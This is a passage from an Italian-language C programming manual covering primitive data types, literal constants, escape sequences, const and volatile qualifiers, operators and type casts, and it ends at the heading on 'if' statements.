Il tipo '`char`' (carattere), indifferentemente se si considera o meno il segno, rappresenta tradizionalmente una variabile numerica che occupa esattamente un byte, pertanto, spesso si confondono i termini «carattere» e «byte», nei documenti che descrivono il linguaggio C.

A causa della capacità limitata che può avere una variabile di tipo '`char`', il linguaggio C distingue tra un insieme di caratteri «minimo» e un insieme «esteso», da rappresentare però in altra forma.

77.1.3.2 Tipi primitivi

I tipi di dati primitivi rappresentano un valore **numerico** singolo, nel senso che anche il tipo '**`char`**' viene trattato come un numero. Il loro elenco essenziale si trova nella tabella 77.9.

Tabella 77.9. Elenco dei tipi comuni di dati primitivi elementari in C.

Tipo	Descrizione
`char`	Carattere (generalmente di 8 bit).
`int`	Intero normale.
`float`	Virgola mobile a precisione singola.
`double`	Virgola mobile a precisione doppia.

Come già accennato, non si può stabilire in modo generale quali siano le dimensioni esatte in bit dei vari tipi di dati, ovvero il rango, in quanto l'elemento certo è solo la relazione tra loro.

$$\text{char} \leq \text{int} \leq \text{float} \leq \text{double}$$

Questi tipi primitivi possono essere estesi attraverso l'uso di alcuni qualificatori: '**`short`**', '**`long`**', '**`long long`**', '**`signed`**'[7] e '**`unsigned`**'.[8] I primi tre si riferiscono al rango, mentre gli altri modificano il modo di valutare il contenuto di alcune variabili. La tabella 77.11 riassume i vari tipi primitivi con le combinazioni ammissibili dei qualificatori.

Tabella 77.11. Elenco dei tipi comuni di dati primitivi in C assieme ai qualificatori usuali.

Tipo	Abbreviazione	Descrizione
`char`		Tipo '**`char`**' per il quale non conta sapere se il segno viene considerato o meno.
`signed char`		Tipo '**`char`**' usato numericamente con segno.
`unsigned char`		Tipo '**`char`**' usato numericamente senza segno.
`short int` `signed short int`	`short` `signed short`	Intero più breve di '**`int`**', con segno.
`unsigned short int`	`unsigned short`	Tipo '**`short`**' senza segno.
`int` `signed int`		Intero normale, con segno.
`unsigned int`	`unsigned`	Tipo '**`int`**' senza segno.
`long int` `signed long int`	`long` `signed long`	Intero più lungo di '**`int`**', con segno.
`unsigned long int`	`unsigned long`	Tipo '**`long`**' senza segno.

Tipo	Abbreviazione	Descrizione
`long long int` `signed long long int`	`long long` `signed long long`	Intero più lungo di '**`long int`**', con segno.
`unsigned long long int`	`unsigned long long`	Tipo '**`long long`**' senza segno.
`float`		Tipo a virgola mobile a precisione singola.
`double`		Tipo a virgola mobile a precisione doppia.
`long double`		Tipo a virgola mobile «più lungo» di '**`double`**'.

Così, il problema di stabilire le relazioni di rango si complica:

$$\text{char} \leq \text{short} \leq \text{int} \leq \text{long} \leq \text{long long}$$

$$\text{float} \leq \text{double} \leq \text{long double}$$

I tipi '**`long`**' e '**`float`**' potrebbero avere un rango uguale, altrimenti non è detto quale dei due sia più grande.

Il programma seguente, potrebbe essere utile per determinare il rango dei vari tipi primitivi nella propria piattaforma.[9]

```
#include <stdio.h>

int main (void)
{
    printf ("char          %i\n", (int) sizeof (char));
    printf ("short int     %i\n", (int) sizeof (short int));
    printf ("int           %i\n", (int) sizeof (int));
    printf ("long int      %i\n", (int) sizeof (long int));
    printf ("long long int %i\n", (int) sizeof (long long int));
    printf ("float         %i\n", (int) sizeof (float));
    printf ("double        %i\n", (int) sizeof (double));
    printf ("long double   %i\n", (int) sizeof (long double));
    return 0;
}
```

Il risultato potrebbe essere simile a quello seguente:

```
char          1
short int     2
int           4
long int      4
long long int 8
float         4
double        8
long double   12
```

I numeri rappresentano la quantità di caratteri, nel senso di valori '**`char`**', per cui il tipo '**`char`**' dovrebbe sempre avere una dimensione unitaria.[10]

I tipi primitivi di variabili mostrati sono tutti utili alla memorizzazione di valori numerici, a vario titolo. A seconda che il valore in questione sia trattato con segno o senza segno, varia lo spettro di valori che possono essere contenuti.

Nel caso di interi ('**`char`**', '**`short`**', '**`int`**', '**`long`**' e '**`long long`**'), la variabile può essere utilizzata per tutta la sua estensione a contenere un numero binario. Pertanto, quando la rappresentazione è senza segno, il massimo valore ottenibile è $(2^n)-1$, dove n rappresenta il numero di bit a disposizione. Quando invece si vuole trattare il dato come un numero con segno, il valore numerico massimo ottenibile è circa la metà (se si usa la rappresentazione dei valori negativi in complemento a due, l'intervallo di valori va da $(2^{n-1})-1$ a $-(2^{n-1})$)

Nel caso di variabili a virgola mobile non c'è più la possibilità di rappresentare esclusivamente valori senza segno; inoltre, più che esserci un limite nella grandezza rappresentabile (che comunque esiste), c'è soprattutto un limite nel grado di approssimazione.

Le variabili '**`char`**' sono fatte, in linea di principio, per contenere il codice di rappresentazione di un carattere, secondo la codifica utilizzata nel sistema. Generalmente si tratta di un dato di 8 bit, ma non è detto che debba sempre essere così. A ogni modo, il fatto che questa variabile possa essere gestita in modo numerico, permette una facile conversione da lettera a codice numerico corrispondente.

Un tipo di valore che non è stato ancora visto è quello logico: *Vero* è rappresentato da un qualsiasi valore numerico intero diverso da zero, mentre *Falso* corrisponde a zero.

77.1.3.3 Costanti letterali comuni

Quasi tutti i tipi di dati primitivi hanno la possibilità di essere rappresentati in forma di costante letterale. In particolare, si distingue tra:

- costanti carattere, rappresentate da un carattere alfanumerico racchiuso tra apici singoli, come '**`'A'`**', '**`'B'`**',...;
- costanti intere, rappresentate da un numero senza decimali, e a seconda delle dimensioni può trattarsi di uno dei vari tipi di interi (escluso '**`char`**');
- costanti con virgola, rappresentate da un numero con decimali (un punto seguito da altre cifre, anche se si tratta solo di zeri) che, indipendentemente dalle dimensioni, di norma sono di tipo '**`double`**'.

Per esempio, 123 è generalmente una costante '**`int`**', mentre 123.0 è una costante '**`double`**'.

Le costanti che esprimono valori interi possono essere rappresentate con diverse basi di numerazione, attraverso l'indicazione di un prefisso: '**`0`*n***', dove ***n*** contiene esclusivamente cifre da zero a sette, viene inteso come un numero in base otto; '**`0x`*n***' o '**`0X`*n***', dove ***n*** può contenere le cifre numeriche consuete, oltre alle lettere da «A» a «F» (minuscole o maiuscole, indifferentemente) viene trattato come un numero in base sedici; negli altri casi, un numero composto con cifre da zero a nove è interpretato in base dieci.

Per quanto riguarda le costanti che rappresentano numeri con virgola, oltre alla notazione '***intero*.*decimali***' si può usare la «notazione scientifica». Per esempio, '**`7e+15`**' rappresenta

l'equivalente di $7\cdot(10^{15})$, cioè un sette con 15 zeri. Nello stesso modo, '**7e-5**', rappresenta l'equivalente di $7\cdot(10^{-5})$, cioè 0,00007.

Il tipo di rappresentazione delle costanti numeriche, intere o con virgola, può essere specificato aggiungendo un suffisso, costituito da una o più lettere, come si vede nelle tabelle successive. Per esempio, '**123UL**' è un numero di tipo '**unsigned long int**', mentre '**123.0F**' è un tipo '**float**'. Si osservi che il suffisso può essere composto, indifferentemente, con lettere minuscole o maiuscole.

Tabella 77.15. Suffissi per le costanti che esprimono valori interi.

Suffisso	Descrizione
assente	In tal caso si tratta di un intero «normale» o più grande, se necessario.
U	Tipo senza segno ('**unsigned**').
L	Intero più grande della dimensione normale ('**long**').
LL	Intero molto più grande della dimensione normale ('**long long**').
UL	Intero senza segno, più grande della dimensione normale ('**unsigned long**').
ULL	Intero senza segno, molto più grande della dimensione normale ('**unsigned long long**').

Tabella 77.16. Suffissi per le costanti che esprimono valori con virgola.

Suffisso	Descrizione
assente	Tipo '**double**'.
F	Tipo '**float**'.
L	Tipo '**long double**'.

È possibile rappresentare anche le stringhe in forma di costante attraverso l'uso degli apici doppi, ma la stringa non è un tipo di dati primitivo, trattandosi piuttosto di un array di caratteri. Per il momento è importante fare attenzione a non confondere il tipo '**char**' con la stringa. Per esempio, '**'F'**' è un carattere (con un proprio valore numerico), mentre '**"F"**' è una stringa, ma la differenza tra i due è notevole. Le stringhe vengono descritte nella sezione 77.5.

I caratteri privi di rappresentazione grafica possono essere indicati, principalmente, attraverso tre tipi di notazione: ottale, esadecimale e simbolica. In tutti i casi si utilizza la barra obliqua inversa ('\') come carattere di escape, cioè come simbolo per annunciare che ciò che segue immediatamente deve essere interpretato in modo particolare.

La notazione ottale usa la forma '***ooo***', dove ogni lettera ***o*** rappresenta una cifra ottale. A questo proposito, è opportuno notare che se la dimensione di un carattere fosse superiore ai fatidici 8 bit, occorrerebbero probabilmente più cifre (una cifra ottale rappresenta un gruppo di 3 bit).

La notazione esadecimale usa la forma '**\x*hh***', dove ***h*** rappresenta una cifra esadecimale. Anche in questo caso vale la considerazione per cui ci vogliono più di due cifre esadecimali

per rappresentare un carattere più lungo di 8 bit.

Dovrebbe essere logico, ma è il caso di osservare che la corrispondenza dei caratteri con i rispettivi codici numerici dipende dalla codifica utilizzata. Generalmente si utilizza la codifica ASCII, riportata anche nella sezione 58.5 (in questa fase introduttiva si omette di trattare la rappresentazione dell'insieme di caratteri universale).

La notazione simbolica permette di fare riferimento facilmente a codici di uso comune, quali <*CR*>, <*HT*>,... Inoltre, questa notazione permette anche di indicare caratteri che altrimenti verrebbero interpretati in maniera differente dal compilatore. La tabella 77.17 riporta i vari tipi di rappresentazione delle costanti carattere attraverso codici di escape.

Tabella 77.17. Elenco dei modi di rappresentazione delle costanti carattere attraverso codici di escape.

Codice	ASCII	Altra codifica
`\`***ooo***	Notazione ottale in base alla codifica.	idem
`\x`***hh***	Notazione esadecimale in base alla codifica.	idem
`\\`	Una singola barra obliqua inversa ('`\`').	idem
`\'`	Un apice singolo destro.	idem
`\"`	Un apice doppio.	idem
`\?`	Un punto interrogativo (per impedire che venga inteso come parte di una sequenza triplice, o *trigraph*).	idem
`\0`	Il codice <*NUL*>.	Il carattere nullo (con tutti i bit a zero).
`\a`	Il codice <*BEL*> (*bell*).	Il codice che, rappresentato sullo schermo o sulla stampante, produce un segnale acustico (*alert*).
`\b`	Il codice <*BS*> (*backspace*).	Il codice che fa arretrare il cursore di una posizione nella riga (*backspace*).
`\f`	Il codice <*FF*> (*form feed*).	Il codice che fa avanzare il cursore all'inizio della prossima pagina logica (*form feed*).
`\n`	Il codice <*LF*> (*line feed*).	Il codice che fa avanzare il cursore all'inizio della prossima riga logica (*new line*).
`\r`	Il codice <*CR*> (*carriage return*).	Il codice che porta il cursore all'inizio della riga attuale (*carriage return*).
`\t`	Una tabulazione orizzontale (<*HT*>).	Il codice che porta il cursore all'inizio della prossima tabulazione orizzontale (*horizontal tab*).
`\v`	Una tabulazione verticale (<*VT*>).	Il codice che porta il cursore all'inizio della prossima tabulazione verticale (*vertical tab*).

A parte i casi di '**`\`*ooo***' e '**`\x`*hh***', le altre sequenze esprimono un concetto, piuttosto di un codice numerico preciso. All'origine del linguaggio C, tutte le altre sequenze corrispondono a un solo carattere non stampabile, ma attualmente non è più garantito che sia così. In particolare, la sequenza '**`\n`**', nota come *new-line*, potrebbe essere espressa in modo molto diverso rispetto

al codice <*LF*> tradizionale. Questo concetto viene comunque approfondito a proposito della gestione dei flussi di file.

In varie situazioni, il linguaggio C standard ammette l'uso di sequenze composte da due o tre caratteri, note come *digraph* e *trigraph* rispettivamente; ciò in sostituzione di simboli la cui rappresentazione, in quel contesto, può essere impossibile. In un sistema che ammetta almeno l'uso della codifica ASCII per scrivere il file sorgente, con l'ausilio di una tastiera comune, non c'è alcun bisogno di usare tali artifici, i quali, se usati, renderebbero estremamente complessa la lettura del sorgente. Pertanto, è bene sapere che esistono queste cose, ma è meglio non usarle mai. Tuttavia, siccome le sequenze a tre caratteri (*trigraph*) iniziano con una coppia di punti interrogativi, se in una stringa si vuole rappresentare una sequenza del genere, per evitare che il compilatore la traduca diversamente, è bene usare la sequenza '**\?\?**', come suggerisce la tabella 77.17.

Nell'esempio introduttivo appare già la notazione '**\n**' per rappresentare l'inserzione di un codice di interruzione di riga alla fine del messaggio di saluto:

```
...
  printf ("Ciao mondo!\n");
...
```

Senza di questo, il cursore resterebbe a destra del messaggio alla fine dell'esecuzione di quel programma, ponendo lì l'invito.

77.1.3.4 Valore numerico delle costanti carattere

Il linguaggio C distingue tra i caratteri di un insieme fondamentale e ridotto, da quelli dell'insieme di caratteri universale (ISO 10646). Il gruppo di caratteri ridotto deve essere rappresentabile in una variabile '**char**' (descritta nelle sezioni successive) e può essere gestito direttamente in forma numerica, se si conosce il codice corrispondente a ogni simbolo (di solito si tratta della codifica ASCII).

Se si può essere certi che nella codifica le lettere dell'alfabeto latino siano disposte esattamente in sequenza (come avviene proprio nella codifica ASCII), si potrebbe scrivere '**'A'+1**' e ottenere l'equivalente di '**'B'**'. Tuttavia, lo standard prescrive che sia garantito il funzionamento solo per le cifre numeriche. Pertanto, per esempio, '**'0'+3**' (zero espresso come carattere, sommato a un tre numerico) deve essere equivalente a '**'3'**' (ovvero un «tre» espresso come carattere).

```
#include <stdio.h>

int main (void)
{
  char c;
  for (c = '0'; c <= 'Z'; c++)
    {
      printf ("%c", c);
    }
  printf ("\n");
```

```
    return 0;
}
```

Il programma di esempio che si vede nel listato appena mostrato, se prodotto per un ambiente in cui si utilizza la codifica ASCII, genera il risultato seguente:

```
0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ
```

77.1.3.5 Campo di azione delle variabili

Il campo di azione delle variabili in C viene determinato dalla posizione in cui queste vengono dichiarate e dall'uso di qualificatori particolari. Nella fase iniziale dello studio del linguaggio basta considerare, approssimativamente, che quanto dichiarato all'interno di una funzione ha valore locale per la funzione stessa, mentre quanto dichiarato al di fuori, ha valore globale per tutto il file. Pertanto, in questo capitolo si usano genericamente le definizioni di «variabile locale» e «variabile globale», senza affrontare altre questioni. Nella sezione 77.3 viene trattato questo argomento con maggiore dettaglio.

77.1.3.6 Dichiarazione delle variabili

La dichiarazione di una variabile avviene specificando il tipo e il nome della variabile, come nell'esempio seguente dove viene creata la variabile ***numero*** di tipo intero:

```
int numero;
```

La variabile può anche essere inizializzata contestualmente, assegnandole un valore, come nell'esempio seguente in cui viene dichiarata la stessa variabile ***numero*** con il valore iniziale di 1000:

```
int numero = 1000;
```

Una costante è qualcosa che non varia e generalmente si rappresenta attraverso una notazione che ne definisce il valore, ovvero attraverso una costante letterale. Tuttavia, a volte può essere più comodo definire una costante in modo simbolico, come se fosse una variabile, per facilitarne l'utilizzo e la sua identificazione all'interno del programma. Si ottiene questo con il modificatore '**`const`**'. Ovviamente, è obbligatorio inizializzala contestualmente alla sua dichiarazione. L'esempio seguente dichiara la costante simbolica ***pi*** con il valore del π:

```
const float pi = 3.14159265;
```

Le costanti simboliche di questo tipo, sono delle variabili per le quali il compilatore non concede che avvengano delle modifiche; pertanto, il programma eseguibile che si ottiene potrebbe essere organizzato in modo tale da caricare questi dati in segmenti di memoria a cui viene lasciato poi il solo permesso di lettura.

Tradizionalmente, l'uso di costanti simboliche di questo tipo è stato limitato, preferendo delle ***macro-variabili*** definite e gestite attraverso il precompilatore (come viene descritto nella sezione 77.2). Tuttavia, un compilatore ottimizzato è in grado di gestire al meglio le costanti definite nel modo illustrato dall'esempio, utilizzando anche dei valori costanti letterali nella trasformazione in linguaggio assemblatore, rendendo così indifferente, dal punto di vista del

risultato, l'alternativa delle macro-variabili. Pertanto, la stessa guida *GNU coding standards* chiede di definire le costanti come variabili-costanti, attraverso il modificatore '**`const`**'.

77.1.3.7 Variabili costanti e variabili volatili

Come già descritto nella sezione precedente, una variabile può essere dichiarata con il modificatore '**`const`**' per sottolineare al compilatore che non deve essere modificata nel corso del programma, salva la possibilità di inizializzarla contestualmente alla sua dichiarazione.

```
const float pi = 3.14159265;
```

All'opposto della costante si può considerare un'area di memoria a cui accedono programmi differenti, in modo asincrono, ognuno con la facoltà di modificarla a proprio piacimento, oppure un'area che viene modificata direttamente dall'hardware. In questi casi, ovvero quando il compilatore non deve attuare delle semplificazioni che partano dalla presunzione del contenuto di una certa variabile, si usa il modificatore '**`volatile`**'. Si osservi l'esempio seguente:

```
…
volatile int i;
…
i = 1;
if (i > 0)
  {
    …
  }
else
  {
    …
  }
…
```

Anche se alla variabile ***i*** viene assegnato il valore uno, il compilatore non può escludere che nel momento della verifica della variabile questa abbia invece un valore differente. In altri termini, se la variabile ***i*** venisse dichiarata in modo normale, un compilatore ottimizzato potrebbe escludere le istruzioni sotto il controllo della parola chiave '**`else`**'.

Quando l'area di memoria che viene considerata «volatile», deve essere modificata da un processo estraneo, mentre il programma si limita semplicemente a leggerne il contenuto prendendo atto del valore che ha, la variabile può essere dichiarata simultaneamente con i modificatori '**`const`**' e '**`volatile`**', come nell'esempio seguente, dove, tra l'altro, si presume che la variabile in questione sia definita in un altro file-oggetto:

```
extern const volatile int variabile;
…
```

77.1.3.8 Il tipo indefinito: «void»

Lo standard del linguaggio C definisce un tipo particolare di variabile, individuato dalla parola chiave '`void`': si tratta di un tipo che rappresenta una variabile di rango nullo; la quale, come tale, non può contenere alcun valore.

77.1.4 Operatori ed espressioni

L'operatore è qualcosa che esegue un qualche tipo di funzione, su uno o più operandi, restituendo un valore.[11] Il valore restituito è di tipo diverso a seconda degli operandi utilizzati. Per esempio, la somma di due interi genera un risultato intero. Gli operandi descritti di seguito sono quelli più comuni e importanti.

Le espressioni sono formate spesso dalla valutazione di sottoespressioni (espressioni più piccole). Va osservato che ci sono circostanze in cui il contesto non impone che ci sia un solo ordine possibile nella valutazione delle sottoespressioni, ma il programmatore deve tenere conto di questa possibilità, per evitare che il risultato dipenda dalle scelte non prevedibili del compilatore.

Tabella 77.27. Ordine di precedenza tra gli operatori previsti nel linguaggio C. Gli operatori sono raggruppati a livelli di priorità equivalente, partendo dall'alto con la priorità maggiore, scendendo progressivamente alla priorità minore. Le variabili ***a***, ***b*** e ***c*** rappresentano la collocazione delle sottoespressioni da considerare ed esprimono l'ordine di associatività: prima ***a***, poi ***b***, poi ***c***.

Operatori	Annotazioni
(*a*) [*a*] *a*->*b* *a*.*b*	Le parentesi tonde usate per raggruppare una porzione di espressione hanno la precedenza su ogni altro operatore. Le parentesi quadre riguardano gli array; gli operatori '`->`' e '`.`', riguardano le strutture e le unioni.
!*a* ~*a* ++*a* --*a* +*a* -*a* **a* &*a* (*tipo*) sizeof *a*	Gli operatori '`+`' e '`-`' di questo livello sono da intendersi come «unari», ovvero si riferiscono al segno di quanto appare alla loro destra. Gli operatori '`*`' e '`&`' di questo livello riguardano la gestione dei puntatori; le parentesi tonde si riferiscono al cast.
*a***b* *a*/*b* *a*%*b*	Moltiplicazione, divisione e resto della divisione intera.
a+*b* *a*-*b*	Somma e sottrazione.
a<<*b* *a*>>*b*	Scorrimento binario.
a<*b* *a*<=*b* *a*>*b* *a*=>*b*	Confronto.
a==*b* *a*!=*b*	Confronto.
a&*b*	AND bit per bit.
a^*b*	XOR bit per bit.

<table>
<tr><th>Operatori</th><th>Annotazioni</th></tr>
<tr><td>a|b</td><td>OR bit per bit.</td></tr>
<tr><td>a&&b</td><td>AND nelle espressioni logiche.</td></tr>
<tr><td>a||b</td><td>OR nelle espressioni logiche.</td></tr>
<tr><td>c?b:a</td><td>Operatore condizionale</td></tr>
<tr><td><i>b</i>=<i>a</i> <i>b</i>+=<i>a</i> <i>b</i>-=<i>a</i>
<i>b</i>*=<i>a</i> <i>b</i>/=<i>a</i> <i>b</i>%=<i>a</i>
<i>b</i>&=<i>a</i> <i>b</i>^=<i>a</i> <i>b</i>|=<i>a</i>
<i>b</i><<=<i>a</i> <i>b</i>>>=<i>a</i></td><td>Operatori di assegnamento.</td></tr>
<tr><td>a, b</td><td>Sequenza di espressioni (espressione multipla).</td></tr>
</table>

77.1.4.1 Operatori aritmetici

Gli operatori che intervengono su valori numerici sono elencati nella tabella 77.28. Per dare un significato alle descrizioni della tabella, occorre tenere presenta una caratteristica importante del linguaggio, per la quale, la maggior parte delle espressioni restituisce un valore. Per esempio, '`b = a = 1`' fa sì che la variabile ***a*** ottenga il valore 1 e che, successivamente, la variabile ***b*** ottenga il valore di ***a***. In questo senso, al problema dell'ordine di precedenza dei vari operatori si aggiunge anche l'ordine in cui le espressioni restituiscono un valore. Per esempio, '`d = e++`' comporta l'incremento di una unità del contenuto della variabile ***e***, ma ciò solo **dopo** averne restituito il valore che viene assegnato alla variabile ***d***. Pertanto, se inizialmente la variabile ***e*** contiene il valore 1, dopo l'elaborazione dell'espressione completa, la variabile ***d*** contiene il valore 1, mentre la variabile ***e*** contiene il valore 2.

Tabella 77.28. Elenco degli operatori aritmetici e di quelli di assegnamento relativi a valori numerici.

Operatore e operandi	Descrizione
++***op***	Incrementa di un'unità l'operando prima che venga restituito il suo valore.
op++	Incrementa di un'unità l'operando dopo averne restituito il suo valore.
--***op***	Decrementa di un'unità l'operando prima che venga restituito il suo valore.
op--	Decrementa di un'unità l'operando dopo averne restituito il suo valore.
+***op***	Non ha alcun effetto.
-***op***	Inverte il segno dell'operando (prima di restituirne il valore).
op1 + ***op2***	Somma i due operandi.

Operatore e operandi	Descrizione
op1 - ***op2***	Sottrae dal primo il secondo operando.
op1 * ***op2***	Moltiplica i due operandi.
op1 / ***op2***	Divide il primo operando per il secondo.
op1 % ***op2***	Calcola il resto della divisione tra il primo e il secondo operando, i quali devono essere costituiti da valori interi.
var = ***valore***	Assegna alla variabile il valore alla destra.
op1 += ***op2***	***op1*** = (***op1*** + ***op2***)
op1 -= ***op2***	***op1*** = (***op1*** - ***op2***)
op1 *= ***op2***	***op1*** = (***op1*** * ***op2***)
op1 /= ***op2***	***op1*** = (***op1*** / ***op2***)
op1 %= ***op2***	***op1*** = (***op1*** % ***op2***)

77.1.4.2 Operatori di confronto e operatori logici

Gli operatori di confronto determinano la relazione tra due operandi. Il risultato dell'espressione composta da due operandi posti a confronto è un numero intero ('`int`') e precisamente si ottiene uno se il confronto è valido e zero in caso contrario. Gli operatori di confronto sono elencati nella tabella 77.29.

Il linguaggio C non ha una rappresentazione specifica per i valori booleani *Vero* e *Falso*,[12] ma si limita a interpretare un valore pari a zero come *Falso* e un valore diverso da zero come *Vero*. Va osservato, quindi, che il numero usato come valore booleano, può essere espresso anche in virgola mobile, benché sia preferibile di gran lunga un intero normale.

Tabella 77.29. Elenco degli operatori di confronto. Le metavariabili indicate rappresentano gli operandi e la loro posizione.

Operatore e operandi	Descrizione
op1 == ***op2***	*Vero* se gli operandi si equivalgono.
op1 != ***op2***	*Vero* se gli operandi sono differenti.
op1 < ***op2***	*Vero* se il primo operando è minore del secondo.
op1 > ***op2***	*Vero* se il primo operando è maggiore del secondo.
op1 <= ***op2***	*Vero* se il primo operando è minore o uguale al secondo.
op1 >= ***op2***	*Vero* se il primo operando è maggiore o uguale al secondo.

Quando si vogliono combinare assieme diverse espressioni logiche, comprendendo in queste anche delle variabili che contengono un valore booleano, si utilizzano gli operatori logici (noti normalmente come: AND, OR, NOT, ecc.). Il risultato di un'espressione logica complessa è quello dell'ultima espressione elementare valutata effettivamente, in quanto le sottoespressioni che non possono cambiare l'esito della condizione complessiva non vengono valutate. Gli operatori logici sono elencati nella tabella 77.30.

Tabella 77.30. Elenco degli operatori logici. Le metavariabili indicate rappresentano gli operandi e la loro posizione.

Operatore e operandi	Descrizione
`!` ***op***	Inverte il risultato logico dell'operando.
op1 `&&` ***op2***	Se il risultato del primo operando è *Falso* non valuta il secondo.
op1 `||` ***op2***	Se il risultato del primo operando è *Vero* non valuta il secondo.

Un tipo particolare di operatore logico è l'operatore condizionale, il quale permette di eseguire espressioni diverse in relazione al risultato di una condizione. La sua sintassi si esprime nel modo seguente:

```
condizione ? espressione1 : espressione2
```

In pratica, se l'espressione che rappresenta la condizione si avvera, viene eseguita la prima espressione che segue il punto interrogativo, altrimenti viene eseguita quella che segue i due punti.

77.1.4.3 Operatori binari

Il linguaggio C consente di eseguire alcune operazioni binarie, sui **valori interi**, come spesso è possibile fare con un linguaggio assemblatore, anche se non è possibile interrogare degli indicatori (*flag*) che informino sull'esito delle azioni eseguite. Sono disponibili le operazioni elencate nella tabella 77.31.

Tabella 77.31. Elenco degli operatori binari. Le metavariabili indicate rappresentano gli operandi e la loro posizione.

Operatore e operandi	Descrizione
op1 `&` ***op2***	AND bit per bit.
op1 `|` ***op2***	OR bit per bit.
op1 `^` ***op2***	XOR bit per bit (OR esclusivo).
op1 `<<` ***op2***	Scorrimento a sinistra di ***op2*** bit (con ***op2*** che rappresenta un valore positivo o senza segno). A destra vengono aggiunti bit a zero
op1 `>>` ***op2***	Scorrimento a destra di ***op2*** bit (con ***op2*** che rappresenta un valore positivo o senza segno). Il valore dei bit aggiunti a sinistra potrebbe tenere conto del segno.

<table>
<tr><th>Operatore e operandi</th><th>Descrizione</th></tr>
<tr><td>~op1</td><td>Complemento a uno.</td></tr>
<tr><td>op1 &= op2</td><td>op1 = (op1 & op2)</td></tr>
<tr><td>op1 |= op2</td><td>op1 = (op1 | op2)</td></tr>
<tr><td>op1 ^= op2</td><td>op1 = (op1 ^ op2)</td></tr>
<tr><td>op1 <<= op2</td><td>op1 = (op1 << op2)</td></tr>
<tr><td>op1 >>= op2</td><td>op1 = (op1 >> op2)</td></tr>
<tr><td>op1 ~= op2</td><td>op1 = ~op2</td></tr>
</table>

A seconda del compilatore e della piattaforma, lo scorrimento a destra potrebbe essere di tipo aritmetico, ovvero potrebbe tenere conto del segno del valore che viene fatto scorrere. Pertanto, non potendo fare affidamento su questa ipotesi, è bene che i valori di cui si fa lo scorrimento a destra siano sempre senza segno, o comunque positivi.

Per aiutare a comprendere l'uso degli operatori binari vengono mostrati alcuni esempi. In particolare si utilizzano due operandi di tipo '`char`' (a 8 bit) senza segno: ***a*** contenente il valore 42, pari a 00101010_2; ***b*** contenente il valore 51, pari a 00110011_2.

`c = a & b`

00101010_2 (42_{10}) AND
00110011_2 (51_{10}) =

00100010_2 (34_{10})

`c = a | b`

00101010_2 (42_{10}) OR
00110011_2 (51_{10}) =

00111011_2 (59_{10})

`c = a ^ b`

00101010_2 (42_{10}) XOR
00110011_2 (51_{10}) =

00011001_2 (25_{10})

Lo scorrimento, invece, viene mostrato sempre solo per una singola unità: ***a*** contenente il valore 42; ***b*** contenente il valore 1.

`c = a << b`

00101010_2 (42_{10}) $<<$
00000001_2 (1_{10}) =

01010100_2 (84_{10})

`c = a >> b`

00101010_2 (42_{10}) $>>$
00000001_2 (1_{10}) =

00010101_2 (21_{10})

`c = ~a`

00101010_2 (42_{10})
11010101_2 (213_{10})

77.1.4.4 Conversione di tipo

Quando si assegna un valore a una variabile, nella maggior parte dei casi, il contesto stabilisce il tipo di questo valore in modo corretto. Di fatto, è il tipo della variabile ricevente che stabilisce la conversione necessaria. Tuttavia, il problema si pone anche durante la valutazione di un'espressione.

Per esempio, '**`5/4`**' viene considerata la divisione di due interi e, di conseguenza, l'espressione restituisce un valore intero, cioè 1. Diverso sarebbe se si scrivesse '**`5.0/4.0`**', perché in questo caso si tratterebbe della divisione tra due numeri a virgola mobile (per la precisione, di tipo '**`double`**') e il risultato è un numero a virgola mobile.

Quando si pone il problema di risolvere l'ambiguità si utilizza esplicitamente la conversione del tipo, attraverso un ***cast***:

(***tipo***) ***espressione***

In pratica, si deve indicare tra parentesi tonde il nome del tipo di dati in cui deve essere convertita l'espressione che segue. Il problema sta nella precedenza che ha il cast nell'insieme degli altri operatori e in generale conviene utilizzare altre parentesi per chiarire la relazione che ci deve essere.

```
int x = 10;
double y;
…
y = (double) x/9;
```

In questo caso, la variabile intera ***x*** viene convertita nel tipo '**`double`**' (a virgola mobile) prima di eseguire la divisione. Dal momento che il cast ha precedenza sull'operazione di divisione, non si pongono problemi, inoltre, la divisione avviene trasformando implicitamente il 9 intero in un 9,0 di tipo '**`double`**'. In pratica, l'operazione avviene utilizzando valori '**`double`**' e restituendo un risultato '**`double`**'.

77.1.4.5 Espressioni multiple

Un'istruzione, cioè qualcosa che termina con un punto e virgola, può contenere diverse espressioni separate da una virgola. Tenendo presente che in C l'assegnamento di una variabile è anche un'espressione, la quale restituisce il valore assegnato, si veda l'esempio seguente:

```
int x;
int y;
…
y = 10, x = 20, y = x*2;
```

L'esempio mostra un'istruzione contenente tre espressioni: la prima assegna a ***y*** il valore 10, la seconda assegna a ***x*** il valore 20 e la terza sovrascrive ***y*** assegnandole il risultato del prodotto $x \cdot 2$. In pratica, alla fine la variabile ***y*** contiene il valore 40 e ***x*** contiene 20.

Un'espressione multipla, come quella dell'esempio, restituisce il valore dell'ultima a essere eseguita. Tornando all'esempio appena visto, gli si può apportare una piccola modifica per comprendere il concetto:

```
int x;
int y;
int z;
…
z = (y = 10, x = 20, y = x*2);
```

La variabile *z* si trova a ricevere il valore dell'espressione '`y = x*2`', perché è quella che viene eseguita per ultima nel gruppo raccolto tra parentesi.

A proposito di «espressioni multiple» vale la pena di ricordare ciò che accade con gli assegnamenti multipli, con l'esempio seguente:

```
y = x = 10;
```

Qui si vede l'assegnamento alla variabile *y* dello stesso valore che viene assegnato alla variabile *x*. In pratica, sia *x*, sia *y*, contengono alla fine il numero 10, perché le precedenze sono tali che è come se fosse scritto: '`y = (x = 10)`'.

77.1.5 Strutture di controllo di flusso

Il linguaggio C gestisce praticamente tutte le strutture di controllo di flusso degli altri linguaggi di programmazione, compreso *go-to* che comunque è sempre meglio non utilizzare e qui, volutamente, non viene presentato.

Le strutture di controllo permettono di sottoporre l'esecuzione di una parte di codice alla verifica di una condizione, oppure permettono di eseguire dei cicli, sempre sotto il controllo di una condizione. La parte di codice che viene sottoposta a questo controllo, può essere una singola istruzione, oppure un gruppo di istruzioni (precisamente si chiamerebbe istruzione composta). Nel secondo caso, è necessario delimitare questo gruppo attraverso l'uso delle parentesi graffe.

Dal momento che è comunque consentito di realizzare un gruppo di istruzioni che in realtà ne contiene una sola, probabilmente è meglio utilizzare sempre le parentesi graffe, in modo da evitare equivoci nella lettura del codice. Dato che le parentesi graffe sono usate nel codice C, se queste appaiono nei modelli sintattici indicati, significa che fanno parte delle istruzioni e non della sintassi.

Negli esempi, i rientri delle parentesi graffe seguono le indicazioni della guida *GNU coding standards*.

77.1.5.1 Struttura condizionale: «if»

